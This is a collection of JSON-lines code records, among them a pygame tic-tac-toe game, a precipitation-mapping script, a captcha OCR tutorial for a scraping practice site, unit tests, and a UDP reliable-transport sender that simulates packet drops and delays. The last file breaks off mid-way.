+{"seq_id":"467043296","text":"import ipywidgets\nimport time\n\ndef multi_checkbox_widget(descriptions):\n \"\"\" Widget with a search field and lots of checkboxes \"\"\"\n search_widget = ipywidgets.Text()\n options_dict = {description: ipywidgets.Checkbox(description=description, value=False, layout=ipywidgets.Layout(height='20px')) for description in descriptions}\n options = [options_dict[description] for description in descriptions]\n options_widget = ipywidgets.VBox(options, layout={'overflow': 'scroll'})\n multi_select = ipywidgets.VBox([search_widget, options_widget])\n\n # Wire the search field to the checkboxes\n def on_text_change(change):\n search_input = change['new']\n if search_input == '':\n # Reset search field\n new_options = [options_dict[description] for description in descriptions]\n else:\n matches = [x for x in descriptions if x.startswith(search_input)]\n new_options = [options_dict[description] for description in matches]\n options_widget.children = new_options\n\n search_widget.observe(on_text_change, names='value')\n return multi_select\n","sub_path":"primehub/notebookWidget.py","file_name":"notebookWidget.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"477086268","text":"# Jeu fait par xTiiX (Tous droits reserves)\n### IMPORT ###\nimport pygame as pg\nfrom pygame.locals import *\npg.init()\n\n\n\n### VARS ###\n\n#Joueurs\nj1 = \"X\"\nj2 = \"O\"\n\n#Tableau de signes\ntableau = [\"\",\"\",\"\",\n \"\",\"\",\"\",\n \"\",\"\",\"\"]\n\nverif_cases = ((0,1,2),(3,4,5),(6,7,8),(0,3,6),(1,4,7),(2,5,8),(0,4,8),(3,4,6))\n\nsigne_actuel = j1\n\nfin_jeu = False\nchoix_fait = False\ntours = 0\n\ncoords_imgs = [(15,15),(365,15),(715,15),\n (15,365),(365,365),(715,365),\n (15,715),(365,715),(715,715)]\n\ncoords_test = [[(0,0),(357,375),0],[(357,0),(707,357),1],[(707,0),(1080,375),2],\n [(0,357),(357,707),3],[(357,357),(707,707),4],[(707,357),(1080,707),5],\n [(0,707),(375,1080),6],[(357,707),(707,1080),7],[(707,707),(1080,1080),8]]\n\n\n\n### PYGAME ###\nwindow = pg.display.set_mode((1080,1080), FULLSCREEN)\n\n# Mouse Init\nx, y, B1 = 0, 0, 0\n\nposition = False\n\n### Images ###\n# In Game\nImgPlaceVoid = pg.image.load(\".\\Images\\Void.png\")\nImgPlaceX = pg.image.load(\".\\Images\\Cross.png\").convert_alpha()\nImgPlaceO = pg.image.load(\".\\Images\\Circle.png\").convert_alpha()\n\n# Menu\nImgVersus = pg.image.load(\".\\Images\\Versus.png\")\nImgComputer = pg.image.load(\".\\Images\\Computer.png\")\ncoords_menu = [[(15,15),0,0,1080,540],[(15,547),0,540,1080,1080]]\n\n\n\n### DEFS ###\ndef PrintTableau():\n print(tableau[0], tableau[1], tableau[2])\n print(tableau[3], tableau[4], tableau[5])\n print(tableau[6], tableau[7], tableau[8])\n\ndef DrawTableau():\n placement = 0\n for case in coords_imgs:\n if tableau[placement] == \"\":\n img_case = ImgPlaceVoid\n elif tableau[placement] == \"X\":\n img_case = ImgPlaceX\n else:\n img_case = ImgPlaceO\n\n window.blit(img_case,case)\n placement += 1\n\n pg.display.flip()\n\ndef DrawMenu():\n pass\n\ndef PosSymboleTableau(joueur = j1):\n #Input de l'utilisateur (LV1)\n \"\"\"\n pos = int(input(\"Quel position ?\"))\n if tableau[pos-1] == \"\":\n tableau[pos-1] = joueur\n\n else:\n print(\"mauvaise position\")\n PosSymboleTableau(joueur)\n \"\"\"\n\n #Input Souris\n x, y, B1, R1 = Mouse()\n for case in coords_test:\n if x >= case[0][0] and x <= case[1][0]:\n if y >= case[0][1] and y <= case[1][1]:\n tableau[case[2]] = joueur\n return True\n return False\n\n# NE CHANGE PAS ENTRE LES VERSIONS\ndef VerificationTableau():\n for cas in verif_cases:\n if tableau[cas[0]] == signe_actuel:\n if tableau[cas[1]] == signe_actuel:\n if tableau[cas[2]] == signe_actuel:\n print(\"Joueur \", signe_actuel, \" a gagne !\")\n return True\n\n return False\n\n#NE CHANGE PAS ENTRE LES VERSIONS\ndef Mouse():\n # Position\n x, y = pg.mouse.get_pos()\n\n # Clicks\n R = pg.mouse.get_rel()\n R1 = R[0]\n\n B = pg.mouse.get_pressed()\n B1 = B[0]\n\n\n return x, y, B1, R1\n\n\n\n### ORDI ###\ndef ordinateur():\n pass\n\n\n\n### GAME ###\na = 0\n\nwhile not fin_jeu:\n #Affichage Graphique\n #PrintTableau()\n DrawTableau()\n\n #Choix du joueur\n while not position:\n x, y, B1, R1 = Mouse()\n\n if B1 == 1:\n if signe_actuel == j1 and a == 0:\n position = PosSymboleTableau(j1)\n # Verification de fin de jeu\n fin_jeu = VerificationTableau()\n signe_actuel = j2\n tours += 1\n if position:\n a += 1\n elif signe_actuel == j2 and a == 0:\n position = PosSymboleTableau(j2)\n # Verification de fin de jeu\n fin_jeu = VerificationTableau()\n signe_actuel = j1\n tours += 1\n if position:\n a += 1\n\n if R1 == 1:\n a = 0\n\n # Events\n for event in pg.event.get():\n if event.type == QUIT:\n fin_jeu = True\n position = True\n\n elif event.type == KEYDOWN:\n # Escape\n if event.key in [K_q]:\n fin_jeu = True\n position = True\n\n position = False\n\n print(a)\n\n #Tours\n if tours == 9:\n print(\"Egalite\")\n fin_jeu = True\n\n # Events\n for event in pg.event.get():\n if event.type == QUIT:\n fin_jeu = True\n\n elif event.type == KEYDOWN:\n #Escape\n if event.key in [K_q]:\n fin_jeu = True\n\n# Quit the game\npg.quit()\n","sub_path":"V2 - Fonctionnel.py","file_name":"V2 - Fonctionnel.py","file_ext":"py","file_size_in_byte":4526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"392590478","text":"import logging\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport numpy as np\nimport pandas as pd\nimport xarray as xr\nfrom dateutil.parser import parse\nfrom mpl_toolkits.basemap import Basemap, addcyclic\n\nfrom config import OUTPUT_IMG, NATEARTH50\nfrom utils import join\n\n#------------------------------------------------------------------------------#\n\nlogger = logging.getLogger(__name__)\n\n#------------------------------------------------------------------------------#\n\nPROJ_PARAMS = {\n 'projection': 'stere',\n 'ellps': 'WGS84',\n 'lat_0': -90,\n 'lon_0': 0,\n 'lat_ts': -70,\n 'llcrnrlon': -130,\n 'llcrnrlat': -62,\n 'urcrnrlon': 60,\n 'urcrnrlat': -82}\n\n#------------------------------------------------------------------------------#\n\ndef get_erai_precip():\n \"\"\"ADD FUNCTION DOCSTRING\"\"\"\n dirin = '/export/data3/jnicolas/reanalyses/erai/melt_event'\n fin = 'erai.precip.201601.nc'\n fin = join(dirin, fin)\n with xr.open_dataset(fin) as f:\n precip = f['tp'].copy()\n snow = f['sf'].copy()\n time = precip.time.to_index()\n time = time.shift(-12, freq='H')\n precip.coords['time'] = time\n snow.coords['time'] = time\n precip = precip.groupby('time.day').sum(dim='time')\n snow = snow.groupby('time.day').sum(dim='time')\n precip *= 1000\n snow *= 1000\n dates = precip.day\n precip.coords['day'] = pd.to_datetime('2016-01-01') + \\\n pd.to_timedelta(dates - 1, unit='d')\n snow.coords['day'] = pd.to_datetime('2016-01-01') + \\\n pd.to_timedelta(dates - 1, unit='d')\n rain = precip - snow\n\n return precip, snow, rain\n\n#------------------------------------------------------------------------------#\n\ndef mp_ant_precip(varname, date, addtitle=False):\n \"\"\"ADD FUNCTION DOCSTRING\"\"\"\n\n plt.close('all')\n precip, _, rain = get_erai_precip()\n data = rain if varname == 'rain' else precip\n if isinstance(date, list):\n data = data.loc[date[0]:date[1]]\n data = data.sum(dim='day')\n else:\n data = data.loc[date]\n\n lats = data.latitude\n lons = data.longitude\n lons, lats = np.meshgrid(lons, lats)\n\n fig = plt.figure()\n ax = fig.add_subplot()\n m = Basemap(resolution='i', **PROJ_PARAMS)\n opts_latlon = {'linewidth': 0.5,\n 'dashes': [4, 4],\n 'latmax': 90}\n m.drawmeridians(np.arange( 0, 360,30), labels=[1,0,0,1], **opts_latlon)\n m.drawparallels(np.arange(-90, 90,10), labels=[0,0,1,0], **opts_latlon)\n\n shpfile = join(NATEARTH50, 'ne_50m_coastline')\n m.readshapefile(shapefile=shpfile,\n name='coastlines',\n linewidth=1,\n color='k')\n shpfile = join(NATEARTH50, 'ne_50m_antarctic_ice_shelves_lines')\n m.readshapefile(shapefile=shpfile,\n name='iceshelves',\n linewidth=1,\n color='k')\n\n x, y = m(lons, lats)\n cmap = plt.cm.get_cmap('terrain_r')\n img = m.contourf(x,\n y,\n data,\n levels=range(1, 12, 1),\n extend='both',\n cmap=cmap)\n cb = m.colorbar(img,\n location='right',\n size='3%',\n pad='2%')\n cb.set_label('Accumulated ' + varname + ' (mm)',\n rotation=-90,\n va='center',\n labelpad=10)\n if addtitle & isinstance(date, str):\n strdate = parse(date).strftime('%b %-d, %Y')\n plt.title('ERA-Interim ' + varname + ' - ' + strdate)\n\n # Save plot to PNG file\n if isinstance(date, list):\n strdate = '{0}-{1}'.format(parse(date[0]).strftime('%Y%m%d'),\n parse(date[1]).strftime('%Y%m%d'))\n else:\n strdate = parse(date).strftime('%Y%m%d')\n fout = varname + '_' + strdate + '.png'\n fout = join(OUTPUT_IMG, fout)\n plt.savefig(fout, dpi=400)\n logger.info('Saved plot to %s', fout)\n\n#------------------------------------------------------------------------------#\n","sub_path":"packages/reanalysis/map_precip.py","file_name":"map_precip.py","file_ext":"py","file_size_in_byte":4138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"82306294","text":"# Supported: psql\ndatabase_type = 'psql'\ndatabase_name = 'epikanime'\ndatabase_user = 'epikanime'\n\n#logging location\nlog_dir = '/var/log/epikanime.log'\n\n#REST API configs\napi_url = '127.0.0.1'\napi_port = '5000'\n\n# location for the anime to be downloaded to. Directories of anime will be created in the locaiton\ndl_location = '/data/media/videos/anime/'\n\n# transmission configs\ntransmission_location = 'localhost'\ntransmission_port = 9091\n\n# subgroup configs\navailable_subgroups = [{'subgroup': 'HorribleSubs', 'nyaa_id': '64513', 'db_name': 'horriblesubs'}]\n\n","sub_path":"epikanime/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"254151770","text":"input = [int(x) for x in open('6.txt', 'r').read().split(\"\\t\")]\n\nknown = dict()\n\nbanks = len(input); \ncurrent = input\ncycles = 0\n\nwhile str(current) not in known:\n\t# remember this one\n\tknown[str(current)] = cycles\n\n\t# find biggest bank\n\tbiggest = 0;\n\tfor i in range(0, banks):\n\t\tif (current[i] > current[biggest]): # < means ties go to the first one\n\t\t\tbiggest = i\n\n\t# redistribute\n\tpile = current[biggest]\n\tcurrent[biggest] = 0\n\tinsert = biggest\n\n\twhile pile > 0:\n\t\tinsert = (insert + 1) % banks # move to the next\n\t\tpile = pile - 1 # take one off the pile\n\t\tcurrent[insert] = current[insert] + 1 # and add to the bank\n\n\t# pile depleted, cycle done\n\tcycles = cycles + 1\n\tprint(\"cycle \" + str(cycles) + \": \" + str(current))\n\n\nprint (\"loop is \" + str(cycles - known[str(current)]) + \" cycles long\")","sub_path":"2017/6b.py","file_name":"6b.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"562428349","text":"#!/usr/bin/env python\n# _*_coding:utf-8 _*_\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport base64\nfrom PIL import Image\nfrom io import BytesIO\nimport pytesseract\n\n__title__ = ''\n__author__ = \"wenyali\"\n__mtime__ = \"2018/5/11\"\n\n# 发起请求,获取服务器返回的response对象\nresponse = requests.get(\"http://example.webscraping.com/places/default/user/register\")\n# 将我们传入的内容进行解析,解析成一个树形的结构。\nsoup = BeautifulSoup(response.text, \"html.parser\")\nli = soup.select(\"#recaptcha > img\")\nsrc = li[0].get(\"src\")\nsrc = src.replace(\"data:image/png;base64,\", \"\")\n# 对base64字符串进行解码,返回二进制形式。\nbinary = base64.b64decode(src)\n# with open(\"1.jpg\", \"wb\") as f:\n# f.write(binary)\n# 读取本地的图片,返回一个Image类型的对象。\n# image = Image.open(\"1.jpg\")\n# Image.open函数需要一个文件对象(或者是类文件对象【指的就是像文件一样的对象,即具有read,write等方法的对象。】)\n# 很遗憾,不支持\n# image = Image.open(binary)\n# 可以使用BytesIO这个类文件对象来实现。\nimage = Image.open(BytesIO(binary))\n# 保存Image对象所代表的图片。\nimage.save(\"original.jpg\")\n# 注意:需要执行tesseract文件所在的路径。\n# 指定有两种方式:\n# 1 设置环境变量\n# 2 pytesseract.pytesseract.tesseract_cmd = “tesseract所在的路径”\npytesseract.pytesseract.tesseract_cmd = r'..\\depend_soft\\tesseract\\Tesseract-OCR\\tesseract'\n# 对图片进行处理,提取验证码的有效信息。【尽可能将验证码与背景色进行分离-区分度越明显越好】\n# 将图片转换成灰度图。【该操作是一个复制操作,没有修改原有的Image对象。】\nimage = image.convert(\"L\")\n# 将图片进行二值化。【将图片的所有像素点只含有两个值,0与255,目的是方便OCR进行识别。】\n# point方法可以进行图像的像素处理。参数是一个函数,函数具有一个参数值,同时,具有一个返回值,返回值为像素点处理之后的值。\n# 图像的每一个像素点调用一次该函数,传入像素点的值。\n\n\n# def manage(pixel):\n# if pixel == 0:\n# return pixel\n# else:\n# return 255\n\n\nimage = image.point(lambda x: 0 if x == 0 else 255)\nimage.save(\"binaryzation.jpg\")\n# 显示图片\n# image.show()\n# 传入一个Image对象,返回识别之后的结果。\ntext = pytesseract.image_to_string(image, config=\"--psm 7\")\nprint(text)","sub_path":"Example_web_scraping_website/captcha.py","file_name":"captcha.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"609901210","text":"from unittest import TestCase\nfrom crackle_pop import print_decision\n\n\nclass TestCracklePop(TestCase):\n\n def check_true_cases(self, expected, test_cases):\n for test in test_cases:\n func, args = print_decision(test)\n self.assertEqual(expected, func(*args))\n\n\n def check_false_cases(self, expected, test_cases):\n for test in test_cases:\n func, args = print_decision(test)\n self.assertNotEqual(expected, func(*args))\n\n\n def test_crackle(self):\n true_tests = [3, 6, 9, 12, 18, 3.0]\n false_tests = [0, 5, 7, 8, 10 , 15, 1.1]\n expected = 'Crackle'\n\n self.check_true_cases(expected, true_tests)\n self.check_false_cases(expected, false_tests)\n\n\n def test_pop(self):\n true_tests = [-5, 5, 10, 560]\n false_tests = [0, -6, 5.1, 15, 12]\n expected = 'Pop'\n\n self.check_true_cases(expected, true_tests)\n self.check_false_cases(expected, false_tests)\n\n\n def test_crackle_pop(self):\n true_tests = [-5*3, 5*8*3, 15, 0] # is 0 divisible by 5? Left to the philosophers\n false_tests = [-5.1 * 3, 3, 5, 18]\n expected = 'CracklePop'\n\n self.check_true_cases(expected, true_tests)\n self.check_false_cases(expected, false_tests)\n","sub_path":"test/test_crackle_pop.py","file_name":"test_crackle_pop.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"276979189","text":"import socket\nimport sys\nimport pickle\nfrom stp_packet import *\nimport time\nimport random\nfrom threading import Timer\n\n\nclass Timeout:\n def __init__(self, gamma, timeout=0, estRTT=0.5, devRTT=0.25):\n self.timeout = timeout # current timeout \n self.estRTT = estRTT # estRTT\n self.devRTT = devRTT # devRTT\n self.alpha = 0.125 # alpha value\n self.beta = 0.25 # beta value\n self.gamma = gamma # gamma value\n\n # calculate initial timeout value during the start of the program\n def initial_timeout(self):\n self.timeout = self.estRTT + (self.gamma * self.devRTT)\n return self.timeout\n\n # calculate timeout interval\n def calc_timeout(self, sampleRTT):\n self.estRTT = (1 - self.alpha) * self.estRTT + (self.alpha * sampleRTT)\n self.devRTT = (1 - self.beta) * self.devRTT + \\\n (self.beta * abs(sampleRTT - self.estRTT))\n self.timeout = self.estRTT + (self.gamma * self.devRTT)\n return self.timeout\n\n\nclass Sender:\n def __init__(self, receiver_host_ip, receiver_port, file, MWS, MSS, gamma, pDrop, pDuplicate, pCorrupt, pOrder, maxOrder, pDelay, maxDelay, seed):\n self.receiver_ip = receiver_host_ip\n self.receiver_port = int(receiver_port)\n self.file = file\n self.mws = int(MWS)\n self.mss = int(MSS)\n self.gamma = int(gamma)\n self.pDrop = float(pDrop)\n self.pDuplicate = float(pDuplicate)\n self.pCorrupt = float(pCorrupt)\n self.pOrder = float(pOrder)\n self.maxOrder = int(maxOrder)\n self.pDelay = float(pDelay)\n self.maxDelay = int(maxDelay)\n self.seed = int(seed)\n self.socket = self.open_connection() # sender's socket\n self.start_time = time.time() # execution time of the program\n self.timeout = Timeout(self.gamma) # timeout class\n self.timer = False # to indicate we have timer\n self.send_time = {} # keep track of send time of a packet including retransmission and drop\n self.rtt_time = {} # keep track of send time of a packet for timeout interval calculation\n self.retransmit_buffer = {}\n\n # states of sender\n self.closed = True\n self.syn_sent = False\n self.established = False\n self.end = False\n self.fin_wait = False\n self.fin_wait_2 = False\n self.time_wait = False\n\n # stats for sender for printing to text file\n self.file_size = 0\n self.seg_trans = 0\n self.pld_seg = 0\n self.dropped_seg = 0\n self.corrupted_seg = 0\n self.reordered_seg = 0\n self.dup_seg = 0\n self.delayed_seg = 0\n self.timeout_rxt_seg = 0\n self.fast_rxt_seg = 0\n self.dup_acks = 0\n\n self.seq_no = 0 \t\t\t# sequence number for sender\n self.ack_no = 0 \t\t\t# acknowledge number for sender\n self.order_buffer = []\t\t# buffer to save packet for reordering\n self.packet_buffer = {} \t# send but not yet acknowledge packet\n self.total_seq_no = 0\t\t# total seq_num \n self.bytes_sent = 0\t\t\t# last byte sent\n self.send_base = 0\t\t\t# oldest unacked segment\n self.dup_num = 0 \t\t\t# use to keep track if we have received 3 dup_acks\n self.contents = []\t\t\t# contents of a file\n self.order_count = 0 # used to keep track of packet sent for packet reordering\n \n \n # set seed value for random generator\n random.seed(self.seed)\n # set socket timeout \n self.socket.settimeout(1)\n \n # 3 ways handshake\n def handshake(self):\n while True:\n if self.closed is True:\n # closed state\n print(\"==== STATE: CLOSED ====\")\n # send syn\n syn = STPPacket(b'', self.seq_no, self.ack_no,syn=True)\n self.send(syn)\n # update log\n self.update_log(\"snd\",self.get_packet_type(syn) , syn)\n # update state\n self.closed = False\n self.syn_sent = True\n\n elif self.syn_sent is True:\n # syn sent\n print(\"==== STATE: SYN SENT ====\")\n synack = sender.receive()\n if self.receive_synack(synack):\n self.ack_no = synack.seq_no + 1\n self.update_log(\"rcv\", self.get_packet_type(synack), synack)\n # send ACK\n self.seq_no += 1\n ack = STPPacket(b'', self.seq_no, self.ack_no, ack=True)\n self.send(ack)\n self.update_log(\"snd\", self.get_packet_type(ack) , ack)\n # 3-way-handshake complete\n self.established = True\n print(\"==== STP CONNECTION ESTABLISHED ====\")\n break\n\n # create socket\n def open_connection(self):\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n return s\n except socket.error:\n print(\"Socket creation failed\")\n sys.exit()\n\n # send packet through socket to receiver\n def send(self, packet):\n self.seg_trans += 1\n pkt = pickle.dumps(packet)\n self.socket.sendto(pkt, (self.receiver_ip, self.receiver_port))\n\n # receive packet from socket\n def receive(self):\n data, addr = self.socket.recvfrom(4096)\n packet = pickle.loads(data)\n return packet\n\n # calculate the size of the file\n def calc_total_payload(self):\n with open(self.file, 'rb') as f:\n file_contents = f.read()\n # get file size\n self.file_size = len(file_contents)\n # calculate total seq number\n self.total_seq_no = self.seq_no + len(file_contents)\n \n\n # read file and split file contents into parts with size mss.\n def process_data(self):\n with open(self.file, 'rb') as f:\n file_contents = f.read()\n self.contents = [file_contents[i: self.mss+i] for i in range(0, len(file_contents), self.mss)]\n\n # updtae log \n def update_log(self, action, packet_type, packet):\n # execution time in seconds\n excution_time = time.time() - self.start_time\n # open file and write to file\n with open(\"Sender_log.txt\", 'a+') as f:\n f.write('{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n'.format(\n action, excution_time, packet_type,\n packet.seq_no, len(packet.data), packet.ack_no))\n\n\n # check for synack packet\n def receive_synack(self, stp_packet):\n if stp_packet.syn and stp_packet.ack:\n return True\n return False\n\n # check for ack packet\n def receive_ack(self, stp_packet):\n if stp_packet.ack:\n return True\n return False\n\n #check for fin packet\n def receive_fin(self, stp_packet):\n if stp_packet.fin:\n return True\n return False\n\n # update log file and close connection\n def close(self):\n self.socket.close()\n self.write_stats()\n \n # get packet type\n def get_packet_type(self, packet):\n if len(packet.data) > 0:\n return 'D'\n else:\n result = ''\n if packet.fin:\n result += 'F'\n elif packet.syn:\n result += 'S'\n if packet.ack:\n result += 'A'\n return result\n \n # timeout retransmission of a packet\n def retransmission(self, packet):\n if len(self.order_buffer) > 0:\n self.order_count += 1\n self.timeout_rxt_seg += 1\n #cancel RTT for whole window, timeout retransmission \n self.rtt_time.clear()\n self.send_time[packet.seq_no] = time.time()\n self.retransmit_buffer[packet.seq_no] = packet\n self.pld_send(packet, retransmit=True)\n\n # send data\n def send_file(self):\n # set socket timeout value\n self.socket.settimeout(0.1)\n self.bytes_sent = 1 # initialise to 1 because send base is always 1 more than the actual bytes sent\n self.send_base += 1\n while True:\n \n # send packet after maxOrder packets have been sent\n if (self.order_count >= self.maxOrder and self.pOrder > 0 and self.bytes_sent - self.send_base <= self.mws):\n packet = self.order_buffer.pop()\n self.order_count = 0\n self.update_log(\"snd/rord\", self.get_packet_type(packet), packet)\n # we set retransmit equals true so that the seq_num wont be counted twice\n self.send(packet)\n \n # check if last byte sent - last byte acked < mws and if we still have more to send\n while(self.bytes_sent - self.send_base < self.mws and self.bytes_sent < self.file_size):\n \n # if there is more to send\n if self.bytes_sent < self.file_size:\n # event: receive data from application layer\n index = int(self.bytes_sent / self.mss)\n\n # get the payload from a list of payloads\n payload = self.contents[index]\n\n # create the packet\n packet = STPPacket(payload, self.seq_no, self.ack_no, checksum=checksum(payload))\n\n # save the sent packet in buffer \n self.packet_buffer[self.seq_no] = packet\n \n # pass to pld\n result = self.pld_send(packet)\n \n # increment last bytes sent\n self.bytes_sent += len(payload)\n else: \n break\n \n # if timer not running, we initialize one \n if (self.timer is False):\n # if the is the first packet we send, we use the initial timeout\n if (self.send_base == 1):\n timeout = self.timeout.initial_timeout()\n self.timer = True\n \n payload = packet.data\n self.seq_no = packet.seq_no + len(payload)\n\n # if we have packet for reordering\n if len(self.order_buffer) > 0 and result != 0:\n # increment order_count to keep track of send packets for packet reordering\n self.order_count += 1\n \n # if drop packets, we continue the loop \n if result == -1: \n continue\n\n try:\n # event: ACK received\n ack = self.receive()\n # record the time of receive\n recv_time = time.time()\n if self.receive_ack(ack):\n\n # get the ack number\n received_ack = ack.ack_no\n\n # receiver has received all bytes up to received ack\n if received_ack > self.send_base:\n # stop timer on previous packet. new send base \n if self.timer is True:\n self.timer = False\n self.update_log(\"rcv\", self.get_packet_type(ack), ack)\n\n # ack_num will be 1 more than last acked byte\n self.send_base = received_ack\n\n # remove packets\n remove_key = [key for key in self.packet_buffer.keys() if key < self.send_base]\n for key in remove_key:\n del(self.packet_buffer[key])\n del(self.send_time[key])\n\n # finish when the ack num equals to the total seq_num\n if (ack.ack_no == self.total_seq_no):\n print(\"received all data\")\n self.established = False\n self.end = True \n self.timer = False\n break\n \n # calculate SampleRTT\n if (self.send_base-self.mss) in self.rtt_time.keys():\n sampleRTT = recv_time - self.rtt_time[self.send_base-self.mss]\n timeout = self.timeout.calc_timeout(sampleRTT)\n del(self.rtt_time[self.send_base-self.mss])\n else: \n timeout = self.timeout.timeout\n \n #if there are still not yet acked packets, start new timer.\n if len(self.packet_buffer) > 0:\n #new timer \n self.timer = True\n\n\n self.dup_num = 0\n # continue\n else:\n # receive dup ack\n # total dup_acks\n self.dup_acks += 1\n\n # dup_ack for fast retransmission\n self.dup_num += 1\n self.update_log(\"rcv/DA\", self.get_packet_type(ack), ack)\n \n #fast retransmission\n if (self.dup_num == 3):\n self.dup_num = 0\n retransmit_packet = self.packet_buffer[self.send_base]\n self.fast_retransmit(retransmit_packet)\n # continue\n continue \n except socket.timeout:\n # set minRTO\n if self.timeout.timeout < 0.2:\n self.timeout.timeout = 0.2\n \n # set maxRTO\n if self.timeout.timeout > 60:\n self.timeout.timeout = 60\n\n if ((time.time() - self.send_time[self.send_base]) >= self.timeout.timeout):\n packet = self.packet_buffer[self.send_base]\n self.retransmission(packet)\n continue\n \n # fast retransmission after receiving 3 dup acks \n def fast_retransmit(self, packet):\n self.fast_rxt_seg += 1\n # retransmission, disregard whole window for RTT\n self.rtt_time.clear()\n self.send_time[packet.seq_no] = time.time()\n self.retransmit_buffer[packet.seq_no] = packet\n if len(self.order_buffer) > 0:\n self.order_count += 1\n self.pld_send(packet, retransmit=True)\n \n\n # pld module\n def pld_send(self, packet, retransmit=False):\n self.pld_seg += 1\n # if is not retransmit segment, increment the sequence number\n if not retransmit: \n self.send_time[self.seq_no] = time.time()\n self.rtt_time[self.seq_no] = time.time()\n \n \n if random.random() < self.pDrop:\n # drop packet\n self.dropped_seg += 1\n self.seg_trans += 1\n self.update_log(\"drop\", self.get_packet_type(packet), packet)\n return -1\n\n elif random.random() < self.pDuplicate:\n # duplicate packet\n if len(self.order_buffer) > 0:\n self.order_count += 1\n self.send(packet)\n self.send(packet)\n self.dup_seg += 1\n self.pld_seg += 1 \n self.update_log(\"snd\", self.get_packet_type(packet), packet)\n self.update_log(\"snd/dup\", self.get_packet_type(packet), packet)\n return 1\n\n elif random.random() < self.pCorrupt:\n # corrupting packet\n corrupted = corrupt(packet.data)\n seq_no = packet.seq_no\n ack_no = packet.ack_no\n checksum = packet.checksum\n new_packet = STPPacket(corrupted, seq_no, ack_no, checksum)\n self.send(new_packet)\n self.corrupted_seg += 1\n self.update_log(\"snd/corr\", self.get_packet_type(packet), packet)\n return 1\n\n elif random.random() < self.pOrder:\n # reordering packet\n # check if we have any reorder packet currently waiting to be sent\n if len(self.order_buffer) != 0:\n self.send(packet)\n if not retransmit:\n self.update_log(\"snd\", self.get_packet_type(packet), packet)\n else:\n self.update_log(\"snd/RXT\", self.get_packet_type(packet), packet)\n return 1\n else:\n self.order_buffer.append(packet)\n self.reordered_seg += 1\n return 0\n\n elif random.random() < self.pDelay:\n # delaying packet\n self.delayed_seg += 1\n delay_timer = Timer((random.uniform(0, self.maxDelay))/1000, self.delay_send, [packet])\n delay_timer.start()\n return 0\n else: \n # send packet without any error\n self.send(packet)\n if not retransmit:\n self.update_log(\"snd\", self.get_packet_type(packet), packet)\n else:\n self.update_log(\"snd/RXT\", self.get_packet_type(packet), packet)\n return 1\n \n # send a packet after delay between 0 and maxDelay\n def delay_send(self, packet):\n if self.established is True:\n if len(self.order_buffer) > 0:\n self.order_count += 1\n self.update_log(\"snd/dely\", self.get_packet_type(packet), packet)\n self.send(packet)\n\n\n # write stats to log file\n def write_stats(self):\n with open(\"Sender_log.txt\", 'a+') as f:\n f.write(\n \"=======================================================================\\n\")\n f.write(\"Size of the file (in Bytes)\\t{}\\n\".format(self.file_size))\n f.write(\"Segments transmitted (including drop & RXT)\\t{}\\n\".format(\n self.seg_trans))\n f.write(\"Number of Segments handled by PLD\\t{}\\n\".format(self.pld_seg))\n f.write(\"Number of Segments dropped\\t{}\\n\".format(self.dropped_seg))\n f.write(\"Number of Segments Corrupted\\t{}\\n\".format(\n self.corrupted_seg))\n f.write(\"Number of Segments Re-ordered\\t{}\\n\".format(self.reordered_seg))\n f.write(\"Number of Segments Duplicated\\t{}\\n\".format(self.dup_seg))\n f.write(\"Number of Segments Delayed\\t{}\\n\".format(self.delayed_seg))\n f.write(\"Number of Retransmissions due to TIMEOUT\\t{}\\n\".format(\n self.timeout_rxt_seg))\n f.write(\"Number of FAST RETRANSMISSION\\t{}\\n\".format(\n self.fast_rxt_seg))\n f.write(\"Number of DUP ACKS received\\t{}\\n\".format(self.dup_acks))\n f.write(\n \"=======================================================================\")\n\n # connection termination \n def close_connection(self):\n while True:\n\n # once we have received the ack indicating the all data has been received, we send a fin.\n if self.end is True:\n # create fin packet\n fin = STPPacket(b'', self.seq_no, self.ack_no, fin=True)\n self.send(fin)\n\n # update log\n self.update_log(\"snd\", self.get_packet_type(fin), fin)\n self.seq_no += 1\n\n #update state\n self.fin_wait = True\n self.end = False\n \n # fin wait state\n elif self.fin_wait is True:\n print(\"==== FIN WAIT 1====\")\n ack = self.receive()\n\n # check if receive ack\n if self.receive_ack(ack):\n\n # update log\n if ack.ack_no != self.seq_no:\n continue\n self.update_log(\"rcv\", self.get_packet_type(ack), ack)\n\n # update state\n self.fin_wait = False\n self.fin_wait_2 = True\n\n # fin wait 2 state\n elif self.fin_wait_2 is True:\n print(\"==== FIN WAIT 2 ====\")\n # receive fin\n fin = self.receive()\n if self.receive_fin(fin):\n # update log\n self.update_log(\"rcv\", self.get_packet_type(fin), fin)\n\n self.ack_no = fin.seq_no + 1\n\n # send ack\n ack1 = STPPacket(b'', self.seq_no, self.ack_no, ack=True)\n self.send(ack1)\n\n # update log \n self.update_log(\"snd\", self.get_packet_type(ack1), ack1)\n\n # update state\n self.fin_wait_2 = False\n self.time_wait = True\n \n #time wait state\n elif self.time_wait is True:\n print(\"==== TIME WAIT ====\")\n # close socket and update log\n self.close()\n\n # update state\n self.time_wait = False\n self.closed = True\n print(\"==== CONNECTION CLOSED ====\")\n break\n\n\nif __name__ == '__main__':\n\n # check if user input correct command \n if len(sys.argv) != 15:\n print(\"Usage: python3 sender.py receiver_host_ip receiver_port file.pdf MWS MSS gamma pDrop pDuplicate pCorrupt pOrder maxOrder pDelay maxDelay seed\")\n else:\n # clear content in Sender_log.txt\n f = open(\"Sender_log.txt\", \"w\")\n 